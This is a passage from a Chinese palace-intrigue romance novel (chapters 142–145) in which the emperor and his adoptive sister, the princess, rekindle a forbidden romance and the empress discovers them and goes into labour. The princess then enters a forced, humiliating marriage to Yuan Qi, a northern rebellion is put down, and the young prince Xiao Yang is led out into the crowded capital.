“她谁的闲事都肯管,谁的头都敢出。”敬漪澜笑了笑,“怎么会没人跟她玩?”
萧
盈转头看着她,突然如遭电击。
不错,是他记得不对。十岁以前明绰有很多玩伴的,但萧盈只有她。是他恳求她来相伴,所以她选择了走进含清宫,选择了从此只有他的那种人生。
萧盈看着明绰在睡梦中皱紧的眉头,被迟到了近二十年的顿悟击溃。按说他早就到了心里山崩地裂,面上依然不动声色的地步,可惜那天晚上在一旁的是敬漪澜。萧盈总觉得她看出了什么,只能强迫自己从上阳宫离开。
任之要传轿辇,他没让,自己走回去了。一路上在想,也许他应该杀了袁增,明绰会高兴一点吗?或者他应该成全了袁綦,这样的话也许明绰会幸福——但是那就遂了袁增的意。不然就这样,他应该废去袁綦的全部职务,让他像那些男宠一样,进公主府伺候,让袁增竹篮打水一场空……
或者,他应该现在就派人去洛阳,把乌兰晔那个小子绑回建康,摁着他的头让他保证从此不会再伤明绰的心。让段氏赢好了。让乌兰徵死不瞑目好了。萧盈才不在乎。
他要疯了。萧盈回到含清宫,在暗夜里无声地静坐,心里只是想,也许他最后不是死于心脉的损耗,而是死于无人得知的癫狂。
明绰让他放下,萧盈对天发誓,他真的放下了。这么多年她嫁给了别人,他也一样好好地过下来了,他甚至接受了公主府那些男宠——姜逯!他甚至接受了姜逯的存在。如果不是他非要提及袁綦的话,他不会死的。
但他放下的不是一个死物,而是一头会伺机扑杀的猛兽。一旦他重新看见她,它就会扑上来。但不是每一次,就是这样萧盈才觉得可怕,因为他根本不知道哪一次见到明绰的时候就会突然被重新袭倒。上一次他平静地跟明绰讨论了他即将出世的孩子,这一次他突然想起来明绰二十年前就爱过他。
那天晚上打断他思绪的是任之的声音,桓皋已经奉命把袁綦送进宫来了。萧盈在一瞬间突然打定了主意,他只想让明绰幸福。如果袁綦是那个能让明绰幸福的人,好,那他可以装作不知道袁增玩弄的这些手段。
但当袁綦真的说出那些话的时候,萧盈还是无法控制地起了杀心。
袁綦说他恋慕她多年。多年是几年?有他的爱漫长吗?只消一个通奸的罪名,满朝文武就都嚷着要他们成亲。他呢?
萧盈倒是想让明绰说说看,这种愤怒要如何发作。
“皇兄,”他沉默得太久了,明绰又叫了他一遍,“想什么呢?”
萧盈突然问她:“要么我给你和袁綦赐婚,要么我就杀了他,如何?”
明绰毫不掩饰地翻了个白眼,端着他喝完的空碗转身就走。萧盈半躺在床上,看见她的身影隐到了罗帐后,在外面拣了一碟她爱吃的蜜饯干果,一边说:“杀什么杀,跟袁煦半辈子的交情不要了?”
萧盈默然,明绰捧着干果碟重新走回他床边,坐下来睨了他一眼:“皇兄,你可就这么一个朋友。”
萧盈轻轻眯了眯眼睛,倒也没反驳什么。其实袁煦现在也越来越像他的臣子而非朋友,但萧盈认可明绰说的,若说他曾拥有过一个无限接近朋友的人,就是十六岁的袁煦。
萧盈突然问:“你当年为何那么讨厌他?”——为什么现在又爱上他的弟弟?
明绰拣了一枚蜜饯往嘴里送,答得漫不经心:“我现在也很讨厌他。”
萧盈轻轻歪了歪头,明绰随他看,只顾细嚼慢咽。过去太多年了,萧盈可能不记得了,就是当年袁煦在宴上多看了她几眼而已。可明绰也不想在现在这个档口再提醒萧盈袁家当年就在觊觎公主,只好垂下眼睛,从尘封了不知道多久的回忆里掏出了一句实话:“我嫉妒他。”
萧盈怎么也没有想到这个答案,眉毛高高地一挑。
“我去校场看你,看见你跟他在一起的时候在笑。”明绰自嘲地笑了笑,“你跟我在含清宫从来没有那样笑过。”
“就因为这个?”萧盈哭笑不得,“当年我们在含清宫都是跟着太父上课,能有什么好笑的?”
“当然不止了!”明绰耿耿于怀,“还有那次,明明是他犯了错,你张嘴就护着他!”
这个萧盈是真的不记得了,他记得的跟明绰的不一样:“不是你去跟桓宜华非要违了禁令去看伯彦的吗?”
明绰噎了一下,手里的蜜饯吃了一半,她放下来,非常严肃地看着萧盈:“我要去衙门口鸣冤。”
萧盈眨了眨眼。明绰说她嫉妒袁煦,其实当年萧盈心里才是真嫉妒,别家贵女来看袁煦他都觉得好玩儿,但明绰来不行。为此他抽了袁煦一鞭子,现在都还能隐隐看出那条疤。她自小就跟桓宜华玩儿得好,那只可能是她跟着桓宜华一起去看袁煦了。他哪儿记错了?
“我……你……哎呀!”明绰想解释什么,又觉得他错得太离谱了都无从说起,生让他给气笑了。她一笑,萧盈就也跟着笑了。她本就是挨着萧盈坐在床边的,笑得整个人坐不直,额头贴在他肩上,好不容易不笑了,露出一双眼睛,正好跟萧盈对视上。
萧盈微微敛了笑意,明绰离得太近了,让他想起了当年在执金吾卫大营的另一件事。他的眼神一变,明绰就马上也意识到了什么。萧盈确定她想起了同一件事。
明绰身上没有那股烧得他心扉痛彻的味道了。谢太后走了十几年,穙齐香已在建康绝迹。现在萧盈只闻得到她刚吃下去的蜜饯香味,她的唇角还沾着一粒糖。
“这不是给我准备的吗?”萧盈突然问她。
明绰音调上扬,“嗯?”了一声。她让宫人多备些蜜饯,说是怕陛下不耐药苦,其实全是她在吃。明绰反应过来他在说什么,理直气壮地反问:“含清宫的东西我吃不得了?”
萧盈就点了点头,也不知道是在认同什么。然后他倾身过来,轻轻地在明绰唇角碰了一下。一触即走,轻得像是只是衔走她唇角的一粒糖。
明绰什么都没说。她竟然一点儿都不觉得意外,尽管这很突然,也很莫名。过去的这两年里好像有过很多时刻,他们都没有这么做。为什么是今天,明绰不太明白,但她不想去想了。他们的感情只剩下一捧灰,但这捧灰怎么永远都是温的。
“皇兄,”明绰有意压低声音,朝他弯起了眉眼,“还赐婚吗?”
萧盈笑了。他抬起一只手,轻轻托住了她的脸。明绰触到了他唇上微涩的药味。然后她闭上了眼睛,被萧盈环着腰带入怀中。他重新吻住了她。
第143章
谢星娥扶着肚子,动作笨拙地换了个姿势。庾夫人看出了女儿的不适,赶紧帮她把已经塌下去的软垫撑起来。宫人要上前来给皇后锤一锤腰,庾夫人也示意不用,她亲自伸了手,给女儿缓解腰痛。
谢聿坐在一边,正看着崇安公主手里的小玩意儿,琉璃吹出来的一串葡萄,栩栩如生,圆润喜人,在光下晶莹剔透,一看就是进贡来的东西。
“这是父皇赏你的吗?”
崇安抬起头看了看太父,摇了摇头:“东乡姑母给我的。”
谢聿的脸色便有些古怪,“哦”了一声,什么都没说。
庾夫人看见了夫君的神情,便在女儿耳边轻声说了一句,自去牵了崇安离开,让他们父女单独说话。栖凤宫的宫人们见这情形也都跟着退下,谢星娥歪坐着,等到人都走光了,才问:“父亲,又怎么了?”
谢聿的视线落到女儿高高隆起的肚子上。宫里的太医,还有谢家从宫外请的好几位千金圣手都来看过,都说是男胎的脉象。这孩子眼看着就要落地了,谢星娥现在所有的心神都花在他
身上,对于父亲要说的很多事,她其实都没什么心思听。
但谢聿还是得说:“陛下的旨意今日到中书了,大将军要倒霉了。”
谢星娥抚着肚子的手微微一怔,看着父亲的脸色,很不解:“这不是好事吗?”
袁增当年进建康,第一个结交的人就是父亲,但是后来跟桓家攀上了亲,就把谢家一脚踢开。谢聿对大将军暗中一直不满,桓廊更是他二十年前就在太极殿上吵过架的人,现在袁、桓两姓一家,谢聿暗地里恨得牙痒,却一点办法也没有。谢家如今是不行了,谢聿虽然还任中书,但谢维的儿子们在朝中任官,连个五品以上的都不给,还有外放的,这都是萧盈有意压制的结果。
谢星娥也不明白父亲在想什么了,照说,袁家想尚公主,父亲不应该高兴,但他竟然头一个去上书,还非要她也去劝。朝中的风已经吹到了这会儿,袁增大约是觉得火候到了,昨日正式上奏,替儿子求娶东乡公主。陛下还未病愈,旨意却回复得极快,声色俱厉地叱骂了袁增,说他家风不正,儿媳新丧,就想着给儿子再娶——陛下顾忌着长公主,还没骂他纵容儿子通奸,有违国法。但今日就着中书拟旨,说大将军持身不正,不慈不教,褫夺了他的武灵侯爵位,大将军的官衔还给他留着,但是暂停职务,各地军务由尚书接手。
袁增步步高升二十年,这还是第一次摔了这么大的跟头。
但谢聿看起来一点儿没有幸灾乐祸的样子,只道:“陛下病着的这几日,长公主就没出过含清宫吧?”
谢星娥知道他又要说什么,陛下这个态度,肯定是受了长公主影响呗。
“父亲,姐姐不愿意嫁给袁綦,何苦逼她呢?”谢星娥劝了一句,“陛下都下旨了,你又做什么替袁家争这个……”
谢聿便长长地叹出一口气,谢星娥只好闭了嘴,垂了眼睛,好一会儿才道:“我不想再得罪她了!”
现在她和姐姐的关系还算说得过去。姐姐还是跟敬氏交好,还是关心皇长子,但她回来的日子长了,谢星娥也看出来了,姐姐对陛下的孩子一视同仁,也是时时想着玉襄的。而且当初得亏是姐姐一句一句教过了,陛下果然对她好了一些。她再提想要孩子的事情,陛下才答应了的。
东乡姐姐毕竟还是自家人。谢星娥想着,反正皇长子是个傻的,等她的儿子生下来,姐姐岂会不帮衬?
谢星娥想不通父亲为什么非要跟姐姐对着来。谢家是姐姐的亲人,陛下看重姐姐,难道不是更应该好好待她,让她想办法帮帮谢家吗?怎么反而弄得跟仇人一样。
“你不知道……”谢聿起了个头,看着女儿的脸,还没说完,又长叹了一声,“明绰她嫁给谁都行,就是得赶紧嫁出去。我在父亲的病床前答应过拂霜……”
谢星娥更听不明白了:“答应过什么?”
谢聿脸色难看,咬紧了牙关。
当年谢拂霜兵败,最后的时刻,她把女儿托付给了兄长。尽管兄长负她如斯,但她实在没有别人可以托付了。
她说,萧盈对明绰有不伦之情,一定要把明绰送去长安。
一想到妹妹,谢聿心里就泛起无数的酸涩难言。谁都料不到乌兰徵会死得这么早,明绰还有回来的这一天。拂霜活着的时候,他已经对不起她。这是现在他唯一能为妹妹做的事了。
长公主随侍陛下左右,权势不权势的还在其次,他怕的是……
“你就一点儿都没看出来,”谢聿简直是恨铁不成钢地看着女儿,“陛下是什么心思吗?”——
任之看清楚阶下出现的是谁时,顿时吓出了半身的汗。谢星娥被一个宫人扶着,撑着后腰想走台阶上来,任之两步并作一步走到阶下,忙要阻拦:“皇后……”
“住口。”谢星娥的脸色难看极了,只问了他一个问题,“长公主还在吗?”
任之心里猛地打了个突,只道:“皇后保重身体,这么高的台阶您现在爬不得呀!容小人先去通报……”他话没说完,已朝身边的小黄门递了个眼色,那小黄门转身就往台阶上跑。
谢星娥提高声音:“本宫看谁敢!”
那小黄门一个激灵,原地站住脚,低着头在台阶上给皇后跪下了。
“谁也不许动,不许去通报。”谢星娥喘了两口气,把手伸出来,让栖凤宫的宫人扶住她,“我要亲自去看。”
她提着一口气,硬是撑着宫人的手,一步一步走上了台阶高处的巍巍宫殿。
萧盈不知道外面发生了什么,正跟明绰说话:“还有一个办法。”
他今日总算好转不少。心痛之症向来是发得快去得也快,大朝会五日一次,他很少连罢两次,这回是例外。案上已经堆了不少上奏,萧盈一目十行地批,一边接着往下说:“他们要论礼法,朕就跟他们好好论论礼。寡母改嫁,岂有不问儿子的道理……”
他话还没说完,明绰手里的药罐就重重地磕到他手边,发出“咄”的一声:“你想干什么?”
萧盈感觉到药罐散出来的热气贴在他手边,心有余悸地把手收回来,抿紧嘴,不说了。
他本意是遣使去洛阳,跟乌兰晔说母亲要改嫁的事儿,只要乌兰晔不愿意,那从礼法上来讲,比什么都大。但是明绰的表情非常明白,他要是敢跟晔儿说这事儿,哪只手写的信儿她就烫哪只手。
萧盈非常识相地清了清嗓子:“等今日的旨意下去,应该也用不着了……”
明绰看起来稍稍满意了,重新把药罐拿起来,又道:“罚得是不是太重了?”
其实她心里是不觉得重的。楚恕颐一条人命,就算要袁增来抵都不为过。但现在没有证据,不能光明正大地以杀人罪罚,只为了“不慈不教”四个字,就褫夺了袁增几十年战功才挣来的武灵侯爵位,于法理上不合,必然有群臣反对,可能中书那边就得驳回来。
但萧盈已经做好了打算,驳回来就再下一道旨。朝中争论起来才好呢,他的目的就是转移焦点。若不是明绰求情,他本意是要把封给袁綦的骠骑将军衔都摘了的。
“你又不舍得袁綦,又不想让乌兰晔知道。”萧盈似笑非笑地看她,“那朕还能怎么办?”
明绰才懒得操心:“你自己想办法。”
她只管指摘这办法好不好就行了。一边说着,一边熟练地给他滤干净药渣。萧盈唇边的笑更深,目光一直随着她动,等药端来了,他又撇头,轻声说了句“苦”。
明绰都听笑了,喝了二十几年药,突然怕药苦了。她顺手就抓起一枚蜜饯往萧盈嘴里送,萧盈齿间衔住了,突然拽了她一把。明绰毫无防备,被他环着腰拽到了膝上,萧盈一只手搭在她的后脑上,又把蜜饯重新渡回了她口中。明绰“唔”了一声,只感觉到环在腰上的手收得更紧,唇舌放肆,搅了满口的津甜。
罗帐后不知何时站了个人影,他们谁都没有看见。身影突然一动,整个人都掩在柱后。谢星娥抬起手紧紧地,捂住了自己的嘴。
明绰被他吻得喘不上气,喉间不小心“咕咚”一声,把一个半碎的蜜饯咽了下去,倒是没噎着,但也很不舒服,登时要发恼,狠狠地挣开他。
萧盈含着笑,没让她起身,还是搂在怀里,这才伸手去拿药。这会儿不怕苦了,一口便喝尽。他一喝完,明绰眼疾手快地抵住他唇,只是笑着摇头。
“我跟皇兄可以同甘,”明绰笑着,“共苦就免了吧。”
萧盈拨开她的手,也没强求,只轻声道:“不要叫皇兄。”
明绰都叫了他三十年皇兄了,突然不让叫,她也不知道能唤什么。一时别扭起
来,竟然脸红了。不过耳鬓厮磨,调笑两句,换了旁人,明绰是绝不会脸红的,但萧盈不同,就算是他们幼时,也没敢这么胆大放肆过。他不肯做皇兄,是什么意思,明绰也听懂了。
萧盈得寸进尺,贴到她颈上,轻轻地啄吻明绰光洁的皮肤。明绰的手抵在他胸口,没什么力道地推了一把。
“皇兄还是保重些。”她话没说完就自己开始笑,觉得羞窘,又好笑,“星娥不是都问过卞弘了……”
萧盈无语地嗤笑一声,灼热的鼻息贴在她脖子里,好一会儿,又说了一遍:“溦溦,不要叫皇兄。”
明绰无奈:“那你要我叫什么?”
“你是怎么称呼乌兰徵的?”
明绰“噫”了一声,似是不愿意做这样的联系,想从他怀里起来。但萧盈手又收紧,环着她的腰,不依不饶的。明绰又好气又好笑:“我,我称他可汗!”
萧盈显然不信,只是看着她,又追问:“私下里呢?”
明绰没办法了:“私下里我直呼其名啊……”
“那你也直呼朕的名讳。”
这可不得了。明绰张了张嘴,只感觉有什么东西勒着她的舌头一样。她也不知道为什么,叫乌兰徵的时候从来不会觉得是什么禁忌,但要她直接称呼萧盈的名字,实在太大逆不道了。张口结舌半天,她也不知道怎么了,突然叫了他一声:“燕奴。”
有那么一瞬间,他似乎没有反应过来这是在叫谁。这世上只有明绰还知道这个名字,萧盈的眼神变了,怅惘与温柔交织着。
“你还记得?”
明绰伸手在他鼻尖上轻轻拧了一下:“我记性可比你好得多。”
萧盈托住她的脸,又落下一个吻。明绰的手还抵在他的胸口,感觉到他的心跳危险地失了节律。她的呼吸也急促起来,仍顾忌着,想推开他,含糊地又叫了一声燕奴,换来的是萧盈更缠绵不尽的吻。明绰只觉得耳朵里“嗡”了一声,然后又是一声巨响,像是什么东西砸到了地上——
萧盈突然放开了她。真的有东西砸到了地上。明绰从他怀中起来,正看见一个身影笨重地从罗帐外闪过。
明绰一颗心“咚”地一声砸进了胃里。
“星娥!”她叫了一声。谢星娥身子太重,根本走不快,但她急于逃离,仓皇而又笨重。明绰心惊胆战地想伸手扶她,谢星娥突然转过身来,狠狠地照着她的脸就是一巴掌。
萧盈也追上来了,见状马上要护着明绰,但是明绰一把挣开了他,顾不得自己脸上火辣辣的,赶紧先扶谢星娥。她浑身都发着抖,不想要明绰扶着,却不得不攥紧了她的手才稳住身体。
“你是我的姐姐……”谢星娥脸色煞白,一时竟连眼泪都没有,只是茫然又愤怒地重复了一遍,“你是我姐姐啊!”
既然如此,为什么还要帮她,为什么还要让她怀上这个孩子?
明绰张开嘴,似是想解释,但谢星娥一句都听不见了。突如其来的剧痛像是从身体深处把她撕开,她惶恐地抱着肚子,叫都没有叫得出声,腿一软,直直地往下坠去。
第144章
谢星娥已是第三胎,马上意识到这是发动了。但她不敢留在含清宫,说不能脏了陛下的寝宫,硬是撑着要回去。好在栖凤宫里早已为皇子的出生准备多日,一说皇后发动了,所有人都忙碌起来,刚给她脱下衣服送上产床,便已经破水了。
庾夫人本已要出宫,栖凤宫的人连忙又去追回来,等她进来的时候,谢星娥已经手里吊着红绸子在使劲。她是不耐痛的,疼起来叫得撕心裂肺,不停地说她要死了。明绰站在床边,一脸受到了极大惊吓的表情,竟是动也不敢动。
庾夫人心里急,嘴上难得不客气,只道:“长公主也是生过孩子的人,这有什么好怕的!别杵着不动啊!”
她催着明绰帮忙,可是明绰刚到床边,谢星娥便支起上半身,像一头雌兽龇出牙齿:“滚!”
明绰一句话也没有,还是站在那里,任她发怒。
谢星娥阵痛稍缓,身上还在抖,额上的汗黏到眼皮上,沾得睫毛都抬不起来,分不出是疼出的汗还是她落下的泪。
“我要死了……”她咬牙切齿地问明绰,“你满意了?!”
“皇后不要说这样的话。”接生的稳婆在旁边劝了一句,“急产是疼得厉害些,但胎位很顺,一会儿就好了——来来来,用力!”
她话音未落,谢星娥又攥紧了红绸子发力,脖子里和额上的青筋都绽出来,等一通力气使完,她看到母亲在身边,便忍不住哭起来,仍像个孩子,委屈地叫疼。庾夫人一边给她擦汗,一边只是道:“别浪费力气叫了,攒着力气好生。”
明绰就在旁边看着,眼泪突然如断线珠子似的落下来。一时又有宫人来通报,说陛下到了,在外面候着。谢星娥听见了这话,也只是哭个不停。惹得稳婆着急,只让她别哭了,专心用力。那宫人又凑近明绰,说了一句:“长公主,陛下请你出去……”
她话音很低,但谢星娥还是听见了,她一面痛叫,一面又撕心裂肺地喊:“你不许!你不许!”
明绰朝那宫人摇了摇头,主动走到谢星娥床边。谢星娥一把就攥住了她的手,捏得极紧,好像她一松手,明绰就会出去与萧盈相会。她的掌心也是一层腻腻的汗。
“姐姐……”谢星娥凑近了一点,在阵痛的间隙压低了声音问她,“是我占了你的位置吗?你是因为这个才恨我吗?”
明绰摇头:“我不恨你……”
谢星娥握住她的手,不知道是她疼,还是她恨,紧得几乎要把明绰的手捏碎:“那你要为什么要这样对我?”
明绰回答不上来。谢星娥的眼泪滚下来,和她的汗一起,滴到了明绰手上。
“你已经是公主了,”她每个字都像是从牙缝里挤出来的,“你也做了大燕十几年的皇后……还不够吗?”
“我……”
可是谢星娥不想听,阵痛又来了,她仰起脖子发出了凄厉的惨叫。稳婆又想让她别浪费力气在喊叫上,谢星娥突然就发了火:“疼的又不是你!再啰嗦,把你舌头割掉!”
稳婆吓得直往地上跪,庾夫人恼起来,又叫她赶紧起来看着胎。但是她吓得战战兢兢的,扶着谢星娥的腿,竟连“用力”这样的指令也不敢大声发了。明绰就在旁边握着谢星娥的手等,等她
这一阵痛得好些了,才轻声道:“我不会再进含清宫了。”
她话音未落,方才那宫人又进来了,这回直接走到明绰身边:“陛下说,长公主再不出去,他就进来了。”
“那他就进来!”明绰也发了火,“这是他的孩子,他有什么不能进的!”
“不行!”谢星娥急得恨不得爬起来,“陛下不能进血房!拦住他!”
那宫人吓得不敢言语,连忙转头就出去传话。庾夫人茫然而又惊恐地看着她们,不知道到底怎么回事。谢星娥喘着气,抓紧阵痛的间隙,又对明绰说:“你看见了?你不进含清宫有什么用?他想见你,哪里他都会去……”
明绰摇了摇头,不知道还能说什么。
“那你要我怎么样?”明绰垂下眼睛,“星娥,我……”
谢星娥痛苦的尖叫再次掩过了她说话的声音。
皇后这一胎确实生得非常快,等太医署的医官赶到的时候,谢星娥的阵痛已经完全没有了间隙,太医一查,都说能看见头了。明绰自己生晔儿的时候是被下了催产的药,还是足足疼了一个晚上才到这一步。她没见过生得这么快的,谢星娥又一直撕心裂肺地在叫,血也出得快,明绰看着宫人一盆一盆地往外端浸了血帕的水,怕得浑身都在抖。
“对不起……”她抓着妹妹的手,“星娥,你打我骂我都好,你说什么我都听,对不起……”
谢星娥听见了,指甲狠狠地嵌进明绰的手里,突然从牙缝里挤出了一句话:“那你……嫁给袁綦!”
明绰愣在那里,像是没听懂她说什么。
谢星娥看着她,因为剧烈的疼痛,她的脸好像肿胀了起来,显得有些怪异。她终于叫不动了,力气使完,气喘如牛地,只道:“嫁给袁綦,让陛下死心!”
“我……”明绰还想解释什么。
谢星娥摁住她的手:“拦住陛下的旨意,保住大将军!你和袁家……”
她的声音断了,明绰惊恐地看着她面目狰狞地用力,然后谢星娥再次力竭,倒下来,又道:“你和袁家结盟,保我的儿子做太子!”
明绰摇了摇头,她无意参与建康的立储争斗,晔儿还在洛阳等她。
谢星娥用力到几乎把她的手掌捏碎:“姐姐,这是你欠我的!”
“皇后!”太医和稳婆一起催促起来,“再使一次力——”
谢星娥就像没听见似的,狠狠地盯着明绰:“不然我死了也不会放过你!”
“你不会死的……”
“答应我!”
明绰犹豫着,终于胡乱地点了点头。谢星娥整个上身都因为用力而抬了起来,憋得整张脸通红。明绰的手背已经被谢星娥掐出了一片甲印,但她忍耐着,想给谢星娥一点力道。然后,只听到很轻地“啵”一声,谢星娥猛地往后一倒,庾夫人就守在床尾,一下子尖叫起来:“是皇子!星娥!真是个皇子!”
谢星娥本已力竭,仍勉力地想把头撑起来:“快让我看看!”
她不再抓着明绰的手了。好像有人推了她一把,明绰茫然地往后退了两步,连那孩子都没有看清。他开始哭了,他一哭,谢星娥便也如释重负地痛哭起来。明绰失魂落魄地继续往后退,然后转身走了出去。
萧盈果然等在外面,但不是在等他的孩子。明绰一出来,他就一把抓住了她的手:“溦溦……”
明绰强打起精神:“恭喜皇兄,是个皇子。”
萧盈显然也没有想到会生得这么快,一时没敢信她什么意思,回头看了一眼产房。明绰扭头又要走,萧盈匆忙地跟上,又拉住了她的手:“你要去哪儿?”
明绰还没回答,庾夫人已经抱着孩子走了出来:“陛下!是皇子!”
萧盈草草低头看了一眼。
当时明绰劝他,说他没有善待过星娥。那段日子,谢星娥也像变了个人,居然开始真的关心他了。所以萧盈一度也努力过,想和皇后重新相处。知道有这个孩子的时候,萧盈心想,就算他做不到爱她,或许以后能相敬如宾。
可是自从有了这个孩子,一切就回到了过去。谢星娥觉得目的已经达到,就不必再照着姐姐教的那么麻烦了。她其实一点儿都不喜欢陪着萧盈,他们俩也没什么好聊的。她很厌烦萧盈动不动的身体不适,但他现在不进后宫了,她倒是挺高兴的,两相比较下来,她竟希望他这样一直病下去。
那时是春天,刚好快要到秧儿的生辰。萧盈难得陪陪长子,皇后便故技重施,又把敬夫人叫去为难。秧儿早就懂事了,主动对萧盈说,父皇心里疼他他知道,就不用疼到明面上,让皇后看见了。
从那以后,萧盈对谢星娥的态度也重新回到了过去,甚至比曾经更加冷漠。
谢星娥从来没有真正需要过他的爱情。这么多年了,她都没有意识到萧盈对明绰的感情,并不是因为他藏得多好,是因为她从来就没有在意过萧盈。她的不肯见容,针对的从来只是威胁到她皇后地位的女人,和爱情到底有什么关系?所以他现在只有对她的愤怒——她凭什么打明绰?她到底有什么资格,在这里扮演一个被辜负的妻子的角色?
她想要一个儿子,他已经给了她一个儿子。他们之间终于可以到此为止。
庾夫人似是想让他抱一抱孩子,萧盈下意识退了一步,冷冷地看着她。他不是第一次当父亲了,当年抱着秧儿时那种忍不住落泪的情绪不复存在,这个孩子在他眼里就是一团还带着血腥气的肉,出自一个已经被他彻底憎厌的女人。
萧盈再转过身,明绰已经不见了。
景平三十一年腊月初,皇后产下皇三子,取名萧稷。陛下本已下旨,要重罚大将军袁增,但旨意到了中书便被驳回,为着庆祝皇三子的出生,陛下收回了成命。同年底,在长公主的反复恳求下,含清宫终于下旨,为长公主和袁綦指婚。
但袁綦付出了相当惨重的代价。陛下削了他所有军职,收回了亲封的骠骑将军衔,剥夺了他继承武灵侯爵的资格,虽娶公主,却连个“驸马都尉”都不肯封。
曾经威名赫赫的袁二将军,转眼就只是袁二公子了。陛下却还要极尽羞辱之能事,别说让东乡公主去袁府拜见公婆,年关一过,他下令一辆马车就把袁綦送进了公主府。不像是成亲,倒像是长公主纳了房新宠。
袁煦不平,愤然入宫,正撞在萧盈气头上,也领了一顿板子回家了。
他等了十几年,才得了不过几日的温存,明绰便突然改了心意,这种愤怒已经吞噬了他的理智。萧盈甚至下令,酒宴不许办,公主府和袁府一律不许贴红挂彩,丝竹奏乐也统统禁止。阴青蘅只好悄悄地备下了合卺酒,整个房间里唯一见红的地方,也就是合卺酒的两个瓢上牵的那根红绳。
“好歹也是成婚。”阴青蘅送上合卺酒,小心地赔着笑。
明绰犹豫了一下才接过了瓢,袁綦简直像一尊木雕,既不伸手,也没说话。明绰转头看了他一眼,朝阴青蘅使了个眼色,让她们先下去了。
她虽然是被谢星娥逼得无奈了才答应下这桩婚事,但也没有想过这样折辱袁綦。自从楚恕颐突然出事以后,她就没再见过他。其实也没有过多久,他竟已这般形销骨立。手腕上还有被绳索勒出来的新鲜伤痕,因为瘦得腕骨嶙峋,更显得扎眼。
袁綦从马车上下来的时候,是被捆住的。明绰不知道是萧盈下的令,还是袁增动的手,也不知道他是为了什么而反抗——是他也想明白了楚恕颐死去的真相?还是他只是不忿于陛下这样的羞辱?
现在他坐在这里,分明是和他最心爱的女人成婚,他的神情却麻木得像一个死人。
明绰小声地唤了他一句:“仲宁……”
袁綦低着头,突然拿起一半瓢,一饮而尽。明绰的一那半瓢被红绳一扯,一个没握稳,脱手落在了地上,就这样泼了个干净。
袁綦把瓢放下:“长公主见谅。”
他说着就要伸手去拿酒壶重新倒,但是明绰轻声道:“不必了。”
再喝上多少,怕是也不会有百年好合了。
“我近日身子不适。”明绰语气平静,歪了歪头,拆下了头上繁复华丽的金钗——这也是阴青蘅说,“好歹也是成婚”,才给她妆扮的。
“委屈你,先去客房吧。”
袁綦有片刻的沉默,然后他站了起来,恭敬却无声地给她行了个礼,转身走出了她的房间。
第145章
景平三十二年,大燕的北镇又爆发了一次叛乱。
上一次北镇叛乱的时候,碰上了云屏公主之死,乌兰徵根本没有多少心思处理,着乙满去办。乙满只是暂时镇压了叛乱,但是后续乌兰徵要他办的事,他根本没有认真落实,只顾谋划在长安的兵变了。
太皇太后和新帝迁至洛阳之后,大体仍旧沿用了萧皇后定下的国策,北镇的西海军民依然过得苦不堪言。乙满一死,原本的旧部也与北镇勾结起来,最终酝酿出了这场更为声势浩大的叛乱。
这一次,叛军自北而下,直逼洛阳。叛军首领是阿巴颜部的赫勒特支,遣使入建康,想和南朝的皇帝谈谈。他们的说法是,乌兰晔是个杂种,不肯为他们西海人谋利,段氏更是个祸国殃民的女人,他们要动手,那都是被逼无奈,顺应天命。乌兰徵打下来的江山太大了,赫勒特支不要这么多,不如现在合作,到时候分一块汉人的地还给南朝,如何?
洛阳那边收到了消息,忙不迭地也遣了使者过来。乌兰晔甚至亲自给母亲写了信,一改之前的态度,又是问安,又是恭贺母亲的新婚,字里行间火急火燎,就一个意思,求母亲去跟舅舅说说,千万不能答应赫勒特支。
明绰马上进宫,和袁增一起面圣。但其实不用她着急,萧盈也没有打算图那点儿小利。北方能够得到一统和安定本来就是得到萧盈支持的,若是大燕又四分五裂,对南朝的百姓也不会有好处。
但乌兰晔既然叫了这声舅舅,萧盈就趁势给他施压,让使者传话,说大燕有此祸端都是段氏摄政之过。若是段氏肯放权,他可以考虑帮忙平叛。
两国邦交,忌讳干涉彼此内政,乌兰晔自然不需要他来“帮忙”。但郗芳回报消息,说洛阳朝中本就压抑着一股对太皇太后的不满,大雍皇帝的话还是产生了相当的影响。只是强敌在北,祖孙两个暂时一致对外,勉强维系局面。
乌兰晔如今越发警觉,睡觉都不敢闭眼,枕下一直藏着先王当年所赐的兽骨匕首,生怕太皇太后会突然派人下手。
明绰一颗心自此就没放下过。直到景平三十四年夏,北方才终于传来阿巴颜赫勒特支被大将拓莫也哲斩首的消息。
这两年里,萧盈虽未直接出兵,但在明绰的不断游说下,建康还是为洛阳提供过相当可观的军费。这笔钱,萧盈是不要乌兰晔还的,为的是确认大雍宗主国的地位。
可遥想乌兰徵在时,洛阳有四方来朝之威,乌兰晔怎么也不肯堕了父亲的伟业。他虽是萧盈的晚辈,但南北两朝并立称雄,没有谁是宗主之说。叛乱一平,洛阳勒紧裤腰带也要搜罗了金银财帛和各国奇珍,浩浩荡荡地还钱来了。
使臣入京,建康长街上人头攒动,都争着来看传说中使臣带来的西域异兽。
袁韶音在人群中左突右进,堪称奋勇地拨开闲杂人等,回头一看,身边的人早就不见了踪影。她困惑地“诶?”了一声,踮起脚四处张望,只见萧秧还停在原地,皱着眉头,整个人微微瑟缩,肩膀内扣着,恨不得把自己包在一个看不见的茧里。
他今年十五岁了,没遗传到父亲的高个,但遗传到了父亲的文弱,整个人过分瘦小,长得还格外秀气,袁韶音看起来都比他健壮。相比于小时候,他已经“正常”多了,但是正常也不意味着他能面对这么多人。他左看右看,全是陌生的气味和面孔,便干脆把眼睛一闭,站在路当中不动,跟入定了似的。
有人不耐烦地推了他一把:“走啊!”
话音未落,一只手就突然伸过来,恶狠狠地把这人的手腕一掰。这人连声喊疼,一回头,发现掰着他的居然是个小姑娘。她也没用上太多的劲儿,就是抓的地方跟使力的方向都巧,把人摁得动弹不得,一边凶巴巴地骂他:“催什么催!赶着投胎啊!”
“哎哟这母夜叉……”
“说谁母夜叉呢!”袁韶音抬起来就是一脚,把人踹到一边去,一边抓起萧秧的手,“我们走!”
萧秧被人一碰,浑身一个激灵,看见是袁韶音,肩膀才稍稍放松下来一点儿,任她拉着,快速地穿过了人群。他们对洛阳来的使臣队伍没兴趣,今天袁韶音带他出宫,是另有目的地。萧秧没出过宫,一下子就碰到这么热闹的街市,又新奇又害怕地瞪着眼睛,一声不吭地被袁韶音抓着,七歪八拐,绕进了一家酒肆。
